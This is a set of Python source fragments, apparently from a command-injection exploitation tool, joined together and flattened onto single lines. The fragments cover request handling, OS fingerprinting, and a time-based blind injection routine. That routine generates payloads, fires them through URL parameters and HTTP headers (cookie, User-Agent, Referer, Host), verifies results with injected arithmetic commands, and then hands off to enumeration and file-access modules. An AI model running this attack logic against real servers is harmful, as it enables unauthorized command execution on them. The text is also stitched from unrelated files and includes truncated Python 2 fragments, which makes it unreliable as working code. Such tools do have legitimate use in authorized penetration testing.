settings.HTTP_HEADER_INJECTION_LEVEL: err_msg += " and/or increase '--level' values to perform" err_msg += " more tests (i.e 'User-Agent', 'Referer', 'Host', 'Cookie' etc)" if menu.options.skip_empty: err_msg += " and/or remove the option '--skip-empty'" err_msg += "." print(settings.print_critical_msg(err_msg)) logs.print_logs_notification(filename, url) if not settings.CHECK_BOTH_OS: # if not menu.options.bulkfile or settings.EOF: # print(settings.SINGLE_WHITESPACE) raise SystemExit() # eof
def do_check(url): """ This functinality is based on Filippo's Valsorda script [1]. --- [1] https://gist.github.com/FiloSottile/2077115 """ class Request(_urllib.request.Request): def get_method(self): return "GET" class RedirectHandler(_urllib.request.HTTPRedirectHandler): """ Subclass the HTTPRedirectHandler to make it use our Request also on the redirected URL """ def redirect_request(self, req, fp, code, msg, headers, redirected_url): if code in (301, 302, 303, 307): redirected_url = redirected_url.replace(' ', '%20') newheaders = dict( (k, v) for k, v in req.headers.items() if k.lower() not in ("content-length", "content-type")) warn_msg = "Got a " + str( code) + " redirection (" + redirected_url + ")." print(settings.print_warning_msg(warn_msg)) return Request(redirected_url, headers=newheaders, origin_req_host=req.get_origin_req_host(), unverifiable=True) else: err_msg = str( _urllib.error.HTTPError(req.get_full_url(), code, msg, headers, fp)).replace(": ", " (") print(settings.print_critical_msg(err_msg + ").")) raise SystemExit() class HTTPMethodFallback(_urllib.request.BaseHandler): """ """ def http_error_405(self, req, fp, code, msg, headers): fp.read() fp.close() newheaders = dict( (k, v) for k, v in req.headers.items() if k.lower() not in ("content-length", "content-type")) return self.parent.open( _urllib.request.Request( req.get_full_url(), headers=newheaders, origin_req_host=req.get_origin_req_host(), unverifiable=True)) # Build our opener opener = _urllib.request.OpenerDirector() # Check if defined any Host HTTP header. if menu.options.host and settings.HOST_INJECTION == False: opener.addheaders.append(('Host', menu.options.host)) # Check if defined any User-Agent HTTP header. if menu.options.agent: opener.addheaders.append(('User-Agent', menu.options.agent)) # Check if defined any Referer HTTP header. if menu.options.referer and settings.REFERER_INJECTION == False: opener.addheaders.append(('Referer', menu.options.referer)) # Check if defined any Cookie HTTP header. if menu.options.cookie and settings.COOKIE_INJECTION == False: opener.addheaders.append(('Cookie', menu.options.cookie)) for handler in [ _urllib.request.HTTPHandler, HTTPMethodFallback, RedirectHandler, _urllib.request.HTTPErrorProcessor, _urllib.request.HTTPSHandler ]: opener.add_handler(handler()) try: response = opener.open(Request(url)) redirected_url = response.geturl() if redirected_url != url: while True: if not menu.options.batch: question_msg = "Do you want to follow the identified redirection? [Y/n] > " redirection_option = _input( settings.print_question_msg(question_msg)) else: redirection_option = "" if len(redirection_option ) == 0 or redirection_option in settings.CHOICE_YES: if menu.options.batch: info_msg = "Following redirection to '" + redirected_url + "'. " print(settings.print_info_msg(info_msg)) return redirected_url elif redirection_option in settings.CHOICE_NO: return url elif redirection_option in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + redirection_option + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass else: return url except AttributeError: pass # Raise exception due to ValueError. except ValueError as err: err_msg = str(err).replace(": ", " (") print(settings.print_critical_msg(err_msg + ").")) raise SystemExit() # Raise exception regarding urllib2 HTTPError. except _urllib.error.HTTPError as err: err_msg = str(err).replace(": ", " (") print(settings.print_critical_msg(err_msg + ").")) raise SystemExit() # The target host seems to be down. except _urllib.error.URLError as err: err_msg = "The host seems to be down" try: err_msg += " (" + str(err.args[0]).split("] ")[1] + ")." except IndexError: err_msg += "." print(settings.print_critical_msg(err_msg)) raise SystemExit() # Raise exception regarding infinite loop. except RuntimeError: err_msg = "Infinite redirect loop detected." err_msg += "Please check all provided parameters and/or provide missing ones." print(settings.print_critical_msg(err_msg)) raise SystemExit() # Raise exception regarding existing connection was forcibly closed by the remote host. except SocketError as err: if err.errno == errno.ECONNRESET: error_msg = "Connection reset by peer." print(settings.print_critical_msg(error_msg)) elif err.errno == errno.ECONNREFUSED: error_msg = "Connection refused." print(settings.print_critical_msg(error_msg)) raise SystemExit() # Raise exception regarding connection aborted. except Exception: err_msg = "Connection aborted." print(settings.print_critical_msg(err_msg)) raise SystemExit() # eof
def check_http_traffic(request): settings.TOTAL_OF_REQUESTS = settings.TOTAL_OF_REQUESTS + 1 # Delay in seconds between each HTTP request time.sleep(int(settings.DELAY)) class do_connection(_http_client.HTTPConnection): def send(self, req): headers = req.decode() http_method = headers[:4].strip() if menu.options.traffic_file: logs.log_traffic("-" * 37 + "\n" + info_msg + "\n" + "-" * 37) request_http_headers = str(headers).split("\r\n") for header in request_http_headers: if settings.VERBOSITY_LEVEL >= 2: if http_method == "GET" and len(header) > 1 or http_method == "POST": print(settings.print_traffic(header)) if menu.options.traffic_file: logs.log_traffic("\n" + header) if menu.options.traffic_file: if settings.VERBOSITY_LEVEL <= 2: logs.log_traffic("\n\n" + "#" * 77 + "\n\n") else: logs.log_traffic("\n\n") _http_client.HTTPConnection.send(self, req) class connection_handler(_urllib.request.HTTPHandler, _urllib.request.HTTPSHandler): if settings.SCHEME == 'https': def https_open(self, req): try: return self.do_open(do_connection, req) except Exception as err_msg: try: error_msg = str(err_msg.args[0]).split("] ")[1] + "." except IndexError: error_msg = str(err_msg.args[0]) + "." if settings.INIT_TEST == True: if settings.VERBOSITY_LEVEL < 2: print("[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]") else: if settings.VERBOSITY_LEVEL < 1: print("") print(settings.print_critical_msg(error_msg)) raise SystemExit() else: def http_open(self, req): try: return self.do_open(do_connection, req) except Exception as err_msg: try: error_msg = str(err_msg.args[0]).split("] ")[1] + "." except IndexError: error_msg = str(err_msg.args[0]) + "." if settings.INIT_TEST == True: if settings.VERBOSITY_LEVEL < 2: print("[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]") else: if settings.VERBOSITY_LEVEL < 1: print("") print(settings.print_critical_msg(error_msg)) raise SystemExit() if settings.REVERSE_TCP == False and settings.BIND_TCP == False: opener = _urllib.request.build_opener(connection_handler()) response = False current_attempt = 0 unauthorized = False while not response and current_attempt <= settings.MAX_RETRIES and not unauthorized: if settings.VERBOSITY_LEVEL >= 2: req_msg = "HTTP request:" print(settings.print_request_msg(req_msg)) try: opener.open(request) response = True if settings.VERBOSITY_LEVEL < 2: if current_attempt != 0: info_msg = "Checking connection to the target URL... " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() if settings.INIT_TEST == True: print("[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]") if not settings.CHECK_INTERNET: settings.INIT_TEST = False except _urllib.error.HTTPError as err_msg: if settings.UNAUTHORIZED_ERROR in str(err_msg): if settings.VERBOSITY_LEVEL < 2 and not settings.UNAUTHORIZED: print("[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]") settings.UNAUTHORIZED = unauthorized = True except _urllib.error.URLError as err_msg: if current_attempt == 0: if settings.VERBOSITY_LEVEL < 2: print("[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]") try: error_msg = str(err_msg.args[0]).split("] ")[1] + ". " except IndexError: error_msg = "" error_msg += "Please wait while retring the request(s)." print(settings.print_critical_msg(error_msg)) warn_msg = "In case the provided target URL is valid, try to rerun with" warn_msg += " the switch '--random-agent' and/or proxy switch." print(settings.print_warning_msg(warn_msg)) if settings.VERBOSITY_LEVEL >= 2 or current_attempt == 1: info_msg = "Please wait while retring the request(s)." print(settings.print_info_msg(info_msg)) current_attempt = current_attempt + 1 time.sleep(3) except _http_client.BadStatusLine as err_msg: if settings.VERBOSITY_LEVEL < 2: print("[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]") if len(err_msg.line) > 2 : print(err_msg.line, err_msg.message) raise SystemExit() except ValueError as err: if settings.VERBOSITY_LEVEL < 2: print("[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]") err_msg = "Invalid target URL has been given." print(settings.print_critical_msg(err_msg)) raise SystemExit() except AttributeError: raise SystemExit() try: response = _urllib.request.urlopen(request) code = response.getcode() # Check the HTTP response headers. response_headers = response.info() page = response.read() try: # Fix for Python 2.7 page = page.encode(settings.DEFAULT_ENCODING) except AttributeError: pass if response_headers.get('Content-Encoding') == 'gzip': page = gzip.GzipFile("", "rb", 9, io.BytesIO(page)).read() request.add_header('Accept-Encoding', 'deflate') if len(settings.ENCODING) != 0: page = page.decode(settings.ENCODING) else: if type(page) != str: page = page.decode(settings.DEFAULT_ENCODING) response_headers[settings.URI_HTTP_HEADER] = response.geturl() response_headers = str(response_headers).strip("\n") if settings.VERBOSITY_LEVEL > 2: print_http_response(response_headers, code, page) # Checks regarding a potential CAPTCHA protection mechanism. checks.captcha_check(page) # Checks regarding a potential browser verification protection mechanism. checks.browser_verification(page) # Checks regarding recognition of generic "your ip has been blocked" messages. checks.blocked_ip(page) # This is useful when handling exotic HTTP errors (i.e requests for authentication). except _urllib.error.HTTPError as err: if settings.VERBOSITY_LEVEL > 2: print_http_response(err.info(), err.code, err.read()) error_msg = "Got " + str(err).replace(": "," (") # Check for 4xx and/or 5xx HTTP error codes. if str(err.code).startswith('4') or \ str(err.code).startswith('5'): if settings.VERBOSITY_LEVEL > 1: if len(str(err).split(": ")[1]) == 0: error_msg = error_msg + "Non-standard HTTP status code" warn_msg = error_msg print(settings.print_warning_msg(warn_msg + ").")) pass else: error_msg = str(err).replace(": "," (") if len(str(err).split(": ")[1]) == 0: err_msg = error_msg + "Non-standard HTTP status code" else: err_msg = error_msg print(settings.print_critical_msg(err_msg + ").")) raise SystemExit() # The handlers raise this exception when they run into a problem. except (socket.error, _http_client.HTTPException, _urllib.error.URLError) as err: if settings.VERBOSITY_LEVEL > 2: print_http_response(response_headers=err.info(), code=err.code, page=err.read()) err_msg = "Unable to connect to the target URL" try: err_msg += " (" + str(err.args[0]).split("] ")[1] + ")." except IndexError: err_msg += "." print(settings.print_critical_msg(err_msg)) raise SystemExit() except _http_client.IncompleteRead as err: print(settings.print_critical_msg(str(err))) raise SystemExit() except UnicodeDecodeError as err: print(settings.print_critical_msg(str(err))) raise SystemExit() except LookupError as err: print(settings.print_critical_msg(str(err))) raise SystemExit() # Raise exception regarding existing connection was forcibly closed by the remote host. except SocketError as err: if err.errno == errno.ECONNRESET: error_msg = "Connection reset by peer." print(settings.print_critical_msg(error_msg)) elif err.errno == errno.ECONNREFUSED: error_msg = "Connection refused." print(settings.print_critical_msg(error_msg)) raise SystemExit()
def check_target_os(server_banner): found_os_server = False if menu.options.os and checks.user_defined_os(): user_defined_os = settings.TARGET_OS if settings.VERBOSITY_LEVEL >= 1: info_msg = "Identifying the target operating system... " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() # Procedure for target OS identification. for i in range(0,len(settings.SERVER_OS_BANNERS)): match = re.search(settings.SERVER_OS_BANNERS[i].lower(), server_banner.lower()) if match: found_os_server = True settings.TARGET_OS = match.group(0) match = re.search(r"microsoft|win", settings.TARGET_OS) if match: identified_os = "Windows" if menu.options.os and user_defined_os != "win": if not checks.identified_os(): settings.TARGET_OS = user_defined_os settings.TARGET_OS = identified_os[:3].lower() if menu.options.shellshock: err_msg = "The shellshock module is not available for " err_msg += identified_os + " targets." print(settings.print_critical_msg(err_msg)) raise SystemExit() else: identified_os = "Unix-like (" + settings.TARGET_OS + ")" if menu.options.os and user_defined_os == "win": if not checks.identified_os(): settings.TARGET_OS = user_defined_os if settings.VERBOSITY_LEVEL >= 1 : if found_os_server: print("[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]") success_msg = "The target operating system appears to be " success_msg += identified_os.title() + Style.RESET_ALL + "." print(settings.print_success_msg(success_msg)) else: print("[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]") warn_msg = "Heuristics have failed to identify server's operating system." print(settings.print_warning_msg(warn_msg)) if found_os_server == False and not menu.options.os: # If "--shellshock" option is provided then, # by default is a Linux/Unix operating system. if menu.options.shellshock: pass else: if menu.options.batch: if not settings.CHECK_BOTH_OS: settings.CHECK_BOTH_OS = True check_type = "unix-based" elif settings.CHECK_BOTH_OS: settings.TARGET_OS = "win" settings.CHECK_BOTH_OS = False settings.PERFORM_BASIC_SCANS = True check_type = "windows-based" info_msg = "Setting the " + check_type + " payloads." print(settings.print_info_msg(info_msg)) else: while True: question_msg = "Do you recognise the server's operating system? " question_msg += "[(W)indows/(U)nix/(q)uit] > " sys.stdout.write(settings.print_question_msg(question_msg)) got_os = sys.stdin.readline().replace("\n","").lower() if got_os.lower() in settings.CHOICE_OS : if got_os.lower() == "w": settings.TARGET_OS = "win" break elif got_os.lower() == "u": break elif got_os.lower() == "q": raise SystemExit() else: err_msg = "'" + got_os + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass
def do_check(request): # Check if defined any Host HTTP header. if menu.options.host and settings.HOST_INJECTION == None: request.add_header(settings.HOST, menu.options.host) # Check if defined any User-Agent HTTP header. if menu.options.agent: request.add_header(settings.USER_AGENT, menu.options.agent) # Check if defined any Referer HTTP header. if menu.options.referer and settings.REFERER_INJECTION == None: request.add_header(settings.REFERER, menu.options.referer) # Check if defined any Cookie HTTP header. if menu.options.cookie and settings.COOKIE_INJECTION == False: request.add_header(settings.COOKIE, menu.options.cookie) if not checks.get_header(request.headers, settings.HTTP_ACCEPT_HEADER): request.add_header(settings.HTTP_ACCEPT_HEADER, settings.HTTP_ACCEPT_HEADER_VALUE) # Appends a fake HTTP header 'X-Forwarded-For' if settings.TAMPER_SCRIPTS["xforwardedfor"]: from src.core.tamper import xforwardedfor xforwardedfor.tamper(request) # Check if defined any HTTP Authentication credentials. # HTTP Authentication: Basic / Digest Access Authentication. if menu.options.auth_cred and menu.options.auth_type: try: settings.SUPPORTED_HTTP_AUTH_TYPES.index(menu.options.auth_type) if menu.options.auth_type == "basic": b64_string = base64.encodestring(menu.options.auth_cred.encode(settings.UNICODE_ENCODING)).decode().replace('\n', '') request.add_header("Authorization", "Basic " + b64_string + "") elif menu.options.auth_type == "digest": try: url = menu.options.url try: response = _urllib.request.urlopen(url) except _urllib.error.HTTPError as e: try: authline = e.headers.get('www-authenticate', '') authobj = re.match('''(\w*)\s+realm=(.*),''',authline).groups() realm = authobj[1].split(',')[0].replace("\"","") user_pass_pair = menu.options.auth_cred.split(":") username = user_pass_pair[0] password = user_pass_pair[1] authhandler = _urllib.request.HTTPDigestAuthHandler() authhandler.add_password(realm, url, username, password) opener = _urllib.request.build_opener(authhandler) _urllib.request.install_opener(opener) result = _urllib.request.urlopen(url) except AttributeError: pass except _urllib.error.HTTPError as e: pass except ValueError: err_msg = "Unsupported / Invalid HTTP authentication type '" + menu.options.auth_type + "'." err_msg += " Try basic or digest HTTP authentication type." print(settings.print_critical_msg(err_msg)) raise SystemExit() else: pass # The MIME media type for JSON. if settings.IS_JSON: request.add_header("Content-Type", "application/json") # Check if defined any extra HTTP headers. if menu.options.headers or menu.options.header or len(settings.RAW_HTTP_HEADERS) >= 1: if len(settings.RAW_HTTP_HEADERS) >= 1: menu.options.headers = settings.RAW_HTTP_HEADERS # Do replacement with the 'INJECT_HERE' tag, if the wildcard char is provided. if menu.options.headers: menu.options.headers = checks.wildcard_character(menu.options.headers) extra_headers = menu.options.headers else: menu.options.header = checks.wildcard_character(menu.options.header) extra_headers = menu.options.header extra_headers = extra_headers.replace(":",": ") if ": //" in extra_headers: extra_headers = extra_headers.replace(": //" ,"://") if "\\n" in extra_headers: extra_headers = extra_headers.split("\\n") # Remove empty strings and "Content-Length" extra_headers = [x for x in extra_headers if "Content-Length" not in x] else: tmp_extra_header = [] tmp_extra_header.append(extra_headers) extra_headers = tmp_extra_header # Remove empty strings extra_headers = [x for x in extra_headers if x] for extra_header in extra_headers: try: # Extra HTTP Header name http_header_name = extra_header.split(':', 1)[0] http_header_name = ''.join(http_header_name).strip() # Extra HTTP Header value http_header_value = extra_header.split(':', 1)[1] http_header_value = ''.join(http_header_value).strip().replace(": ",":") # Check if it is a custom header injection. if settings.CUSTOM_HEADER_INJECTION == False and \ settings.INJECT_TAG in http_header_value: settings.CUSTOM_HEADER_INJECTION = True settings.CUSTOM_HEADER_NAME = http_header_name request.add_header(http_header_name, http_header_value) except: pass # eof
err_msg = "'" + do_update + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass else: checks.http_auth_err_msg() else: pass ignore_end = time.time() start = start - (ignore_start - ignore_end) except socket.timeout: if settings.VERBOSITY_LEVEL >= 1: print("[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]") err_msg = "The connection to target URL has timed out." print(settings.print_critical_msg(err_msg)) + "\n" raise SystemExit() except urllib2.URLError, err_msg: if settings.VERBOSITY_LEVEL >= 1: print("[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]") print(settings.print_critical_msg(str(err_msg.args[0]).split("] ")[1] + ".")) raise SystemExit() except ValueError, err_msg: if settings.VERBOSITY_LEVEL >= 1: print("[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]") print(settings.print_critical_msg(str(err_msg) + ".")) raise SystemExit() end = time.time()
def tb_injection_handler(url, timesec, filename, http_request_method, url_time_response, injection_type, technique): counter = 1 num_of_chars = 1 vp_flag = True no_result = True is_encoded = False possibly_vulnerable = False false_positive_warning = False export_injection_info = False how_long = 0 if settings.VERBOSITY_LEVEL != 0: info_msg = "Testing the " + "(" + injection_type.split( " ")[0] + ") " + technique + ". " print(settings.print_info_msg(info_msg)) # Check if defined "--maxlen" option. if menu.options.maxlen: maxlen = settings.MAXLEN # Check if defined "--url-reload" option. if menu.options.url_reload == True: warn_msg = "The '--url-reload' option is not available in " + technique + "." print(settings.print_warning_msg(warn_msg)) #whitespace = checks.check_whitespaces() # Calculate all possible combinations total = len(settings.WHITESPACES) * len(settings.PREFIXES) * len( settings.SEPARATORS) * len(settings.SUFFIXES) for whitespace in settings.WHITESPACES: for prefix in settings.PREFIXES: for suffix in settings.SUFFIXES: for separator in settings.SEPARATORS: # Check injection state settings.DETECTION_PHASE = True settings.EXPLOITATION_PHASE = False # If a previous session is available. how_long_statistic = [] if settings.LOAD_SESSION and session_handler.notification( url, technique, injection_type): try: settings.TIME_BASED_STATE = True cmd = shell = "" url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation( url, http_request_method) checks.check_for_stored_tamper(payload) settings.FOUND_HOW_LONG = how_long settings.FOUND_DIFF = how_long - timesec except TypeError: err_msg = "An error occurred while accessing session file ('" err_msg += settings.SESSION_FILE + "'). " err_msg += "Use the '--flush-session' option." print(settings.print_critical_msg(err_msg)) raise SystemExit() if settings.RETEST == True: settings.RETEST = False from src.core.injections.results_based.techniques.classic import cb_handler cb_handler.exploitation(url, timesec, filename, http_request_method) if not settings.LOAD_SESSION: num_of_chars = num_of_chars + 1 # Check for bad combination of prefix and separator combination = prefix + separator if combination in settings.JUNK_COMBINATION: prefix = "" # Define alter shell alter_shell = menu.options.alter_shell # Change TAG on every request to prevent false-positive results. TAG = ''.join( random.choice(string.ascii_uppercase) for num_of_chars in range(6)) tag_length = len(TAG) + 4 for output_length in range(1, int(tag_length)): try: if alter_shell: # Time-based decision payload (check if host is vulnerable). payload = tb_payloads.decision_alter_shell( separator, TAG, output_length, timesec, http_request_method) else: # Time-based decision payload (check if host is vulnerable). payload = tb_payloads.decision( separator, TAG, output_length, timesec, http_request_method) # Fix prefixes / suffixes payload = parameters.prefixes(payload, prefix) payload = parameters.suffixes(payload, suffix) # Whitespace fixation payload = payload.replace( settings.SINGLE_WHITESPACE, whitespace) # Perform payload modification payload = checks.perform_payload_modification( payload) # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL == 1: payload_msg = payload.replace("\n", "\\n") print(settings.print_payload(payload_msg)) # Check if defined "--verbose" option. elif settings.VERBOSITY_LEVEL >= 2: debug_msg = "Generating payload for the injection." print(settings.print_debug_msg(debug_msg)) payload_msg = payload.replace("\n", "\\n") sys.stdout.write( settings.print_payload(payload_msg) + "\n") # Cookie header injection if settings.COOKIE_INJECTION == True: # Check if target host is vulnerable to cookie header injection. vuln_parameter = parameters.specify_cookie_parameter( menu.options.cookie) how_long = tb_injector.cookie_injection_test( url, vuln_parameter, payload) # User-Agent HTTP header injection elif settings.USER_AGENT_INJECTION == True: # Check if target host is vulnerable to user-agent HTTP header injection. vuln_parameter = parameters.specify_user_agent_parameter( menu.options.agent) how_long = tb_injector.user_agent_injection_test( url, vuln_parameter, payload) # Referer HTTP header injection elif settings.REFERER_INJECTION == True: # Check if target host is vulnerable to referer HTTP header injection. vuln_parameter = parameters.specify_referer_parameter( menu.options.referer) how_long = tb_injector.referer_injection_test( url, vuln_parameter, payload) # Host HTTP header injection elif settings.HOST_INJECTION == True: # Check if target host is vulnerable to host HTTP header injection. vuln_parameter = parameters.specify_host_parameter( menu.options.host) how_long = tb_injector.host_injection_test( url, vuln_parameter, payload) # Custom HTTP header Injection elif settings.CUSTOM_HEADER_INJECTION == True: # Check if target host is vulnerable to custom http header injection. vuln_parameter = parameters.specify_custom_header_parameter( settings.INJECT_TAG) how_long = tb_injector.custom_header_injection_test( url, vuln_parameter, payload) else: # Check if target host is vulnerable. how_long, vuln_parameter = tb_injector.injection_test( payload, http_request_method, url) # Statistical analysis in time responses. how_long_statistic.append(how_long) # Injection percentage calculation percent = ((num_of_chars * 100) / total) float_percent = "{0:.1f}".format( round( ((num_of_chars * 100) / (total * 1.0)), 2)) if percent == 100 and no_result == True: if settings.VERBOSITY_LEVEL == 0: percent = settings.FAIL_STATUS else: percent = "" else: if (url_time_response == 0 and (how_long - timesec) >= 0) or \ (url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \ (url_time_response != 0 and (how_long - timesec) > 0 and (how_long >= timesec + 1)) : # Time relative false positive fixation. false_positive_fixation = False if len(TAG) == output_length: # Simple statical analysis statistical_anomaly = True if len(set(how_long_statistic[0:5]) ) == 1: if max(xrange( len(how_long_statistic) ), key=lambda x: how_long_statistic[ x]) == len(TAG) - 1: statistical_anomaly = False how_long_statistic = [] if timesec <= how_long and not statistical_anomaly: false_positive_fixation = True else: false_positive_warning = True # Identified false positive warning message. if false_positive_warning: warn_msg = "Unexpected time delays have been identified due to unstable " warn_msg += "requests. This behavior may lead to false-positive results.\n" sys.stdout.write( "\r" + settings.print_warning_msg( warn_msg)) while True: if not menu.options.batch: question_msg = "How do you want to proceed? [(C)ontinue/(s)kip/(q)uit] > " proceed_option = _input( settings. print_question_msg( question_msg)) else: proceed_option = "" if len(proceed_option) == 0: proceed_option = "c" if proceed_option.lower( ) in settings.CHOICE_PROCEED: if proceed_option.lower( ) == "s": false_positive_fixation = False raise elif proceed_option.lower( ) == "c": timesec = timesec + 1 false_positive_fixation = True break elif proceed_option.lower( ) == "q": raise SystemExit() else: err_msg = "'" + proceed_option + "' is not a valid answer." print( settings. print_error_msg( err_msg)) pass if settings.VERBOSITY_LEVEL == 0: percent = ".. (" + str( float_percent) + "%)" info_msg = "Testing the " + "(" + injection_type.split( " " )[0] + ") " + technique + "." + "" + percent + "" sys.stdout.write( "\r" + settings.print_info_msg( info_msg)) sys.stdout.flush() # Check if false positive fixation is True. if false_positive_fixation: false_positive_fixation = False settings.FOUND_HOW_LONG = how_long settings.FOUND_DIFF = how_long - timesec if false_positive_warning: time.sleep(1) randv1 = random.randrange(1, 10) randv2 = random.randrange(1, 10) randvcalc = randv1 + randv2 if settings.TARGET_OS == "win": if alter_shell: cmd = settings.WIN_PYTHON_INTERPRETER + "python.exe -c \"print (" + str( randv1) + " + " + str( randv2) + ")\"" else: cmd = "powershell.exe -InputFormat none write (" + str( randv1) + " + " + str( randv2) + ")" else: cmd = "expr " + str( randv1) + " %2B " + str( randv2) + "" # Set the original delay time original_how_long = how_long # Check for false positive resutls how_long, output = tb_injector.false_positive_check( separator, TAG, cmd, whitespace, prefix, suffix, timesec, http_request_method, url, vuln_parameter, randvcalc, alter_shell, how_long, url_time_response) if (url_time_response == 0 and (how_long - timesec) >= 0) or \ (url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \ (url_time_response != 0 and (how_long - timesec) > 0 and (how_long >= timesec + 1)) : if str(output) == str( randvcalc) and len( TAG ) == output_length: possibly_vulnerable = True how_long_statistic = 0 if settings.VERBOSITY_LEVEL == 0: percent = settings.info_msg else: percent = "" else: break # False positive else: if settings.VERBOSITY_LEVEL == 0: percent = ".. (" + str( float_percent) + "%)" info_msg = "Testing the " + "(" + injection_type.split( " " )[0] + ") " + technique + "." + "" + percent + "" sys.stdout.write( "\r" + settings.print_info_msg( info_msg)) sys.stdout.flush() continue else: if settings.VERBOSITY_LEVEL == 0: percent = ".. (" + str( float_percent) + "%)" info_msg = "Testing the " + "(" + injection_type.split( " " )[0] + ") " + technique + "." + "" + percent + "" sys.stdout.write( "\r" + settings.print_info_msg( info_msg)) sys.stdout.flush() continue if settings.VERBOSITY_LEVEL == 0: info_msg = "Testing the " + "(" + injection_type.split( " " )[0] + ") " + technique + "." + "" + percent + "" sys.stdout.write( "\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() except KeyboardInterrupt: raise except SystemExit: raise except EOFError: err_msg = "Exiting, due to EOFError." print(settings.print_error_msg(err_msg)) raise except: percent = ((num_of_chars * 100) / total) float_percent = "{0:.1f}".format( round( ((num_of_chars * 100) / (total * 1.0)), 2)) if str(float_percent) == "100.0": if no_result == True: if settings.VERBOSITY_LEVEL == 0: percent = settings.FAIL_STATUS info_msg = "Testing the " + "(" + injection_type.split( " " )[0] + ") " + technique + "." + "" + percent + "" sys.stdout.write( "\r" + settings.print_info_msg( info_msg)) sys.stdout.flush() else: percent = "" else: percent = ".. (" + str( float_percent) + "%)" print(settings.SINGLE_WHITESPACE) # Print logs notification message logs.logs_notification(filename) #raise else: percent = ".. (" + str( float_percent) + "%)" break # Yaw, got shellz! # Do some magic tricks! if (url_time_response == 0 and (how_long - timesec) >= 0) or \ (url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \ (url_time_response != 0 and (how_long - timesec) > 0 and (how_long >= timesec + 1)) : if (len(TAG) == output_length) and \ (possibly_vulnerable == True or settings.LOAD_SESSION and int(is_vulnerable) == menu.options.level): found = True no_result = False # Check injection state settings.DETECTION_PHASE = False settings.EXPLOITATION_PHASE = True if settings.LOAD_SESSION: possibly_vulnerable = False if settings.COOKIE_INJECTION == True: header_name = " cookie" found_vuln_parameter = vuln_parameter the_type = " parameter" elif settings.USER_AGENT_INJECTION == True: header_name = " User-Agent" found_vuln_parameter = "" the_type = " HTTP header" elif settings.REFERER_INJECTION == True: header_name = " Referer" found_vuln_parameter = "" the_type = " HTTP header" elif settings.CUSTOM_HEADER_INJECTION == True: header_name = " " + settings.CUSTOM_HEADER_NAME found_vuln_parameter = "" the_type = " HTTP header" else: header_name = "" the_type = " parameter" if not menu.options.data: found_vuln_parameter = parameters.vuln_GET_param( url) else: found_vuln_parameter = vuln_parameter if len(found_vuln_parameter) != 0: found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'" # Print the findings to log file. if export_injection_info == False: export_injection_info = logs.add_type_and_technique( export_injection_info, filename, injection_type, technique) if vp_flag == True: vp_flag = logs.add_parameter( vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload) logs.update_payload(filename, counter, payload) counter = counter + 1 if not settings.LOAD_SESSION: if settings.VERBOSITY_LEVEL == 0: print(settings.SINGLE_WHITESPACE) else: checks.total_of_requests() # Print the findings to terminal. info_msg = "The" if len(found_vuln_parameter ) > 0 and not "cookie" in header_name: info_msg += " " + http_request_method info_msg += ('', ' (JSON)')[settings.IS_JSON] + ( '', ' (SOAP/XML)' )[settings.IS_XML] + the_type + header_name info_msg += found_vuln_parameter + " seems injectable via " info_msg += "(" + injection_type.split( " ")[0] + ") " + technique + "." print(settings.print_bold_info_msg(info_msg)) sub_content = str(checks.url_decode(payload)) print(settings.print_sub_content(sub_content)) # Export session if not settings.LOAD_SESSION: shell = "" session_handler.injection_point_importation( url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, original_how_long, output_length, is_vulnerable=menu.options.level) #possibly_vulnerable = False else: settings.LOAD_SESSION = False new_line = False # Check for any enumeration options. if settings.ENUMERATION_DONE == True: while True: if not menu.options.batch: question_msg = "Do you want to enumerate again? [Y/n] > " enumerate_again = _input( "\n" + settings.print_question_msg( question_msg)).lower() else: enumerate_again = "" if len(enumerate_again) == 0: enumerate_again = "Y" if enumerate_again in settings.CHOICE_YES: tb_enumeration.do_check( separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) print(settings.SINGLE_WHITESPACE) break elif enumerate_again in settings.CHOICE_NO: new_line = True break elif enumerate_again in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + enumerate_again + "' is not a valid answer." print( settings.print_error_msg(err_msg)) pass else: if menu.enumeration_options(): tb_enumeration.do_check( separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) print(settings.SINGLE_WHITESPACE) # Check for any system file access options. if settings.FILE_ACCESS_DONE == True: print(settings.SINGLE_WHITESPACE) while True: if not menu.options.batch: question_msg = "Do you want to access files again? [Y/n] > " file_access_again = _input( settings.print_question_msg( question_msg)) else: file_access_again = "" if len(file_access_again) == 0: file_access_again = "Y" if file_access_again in settings.CHOICE_YES: tb_file_access.do_check( separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) break elif file_access_again in settings.CHOICE_NO: if not new_line: new_line = True break elif 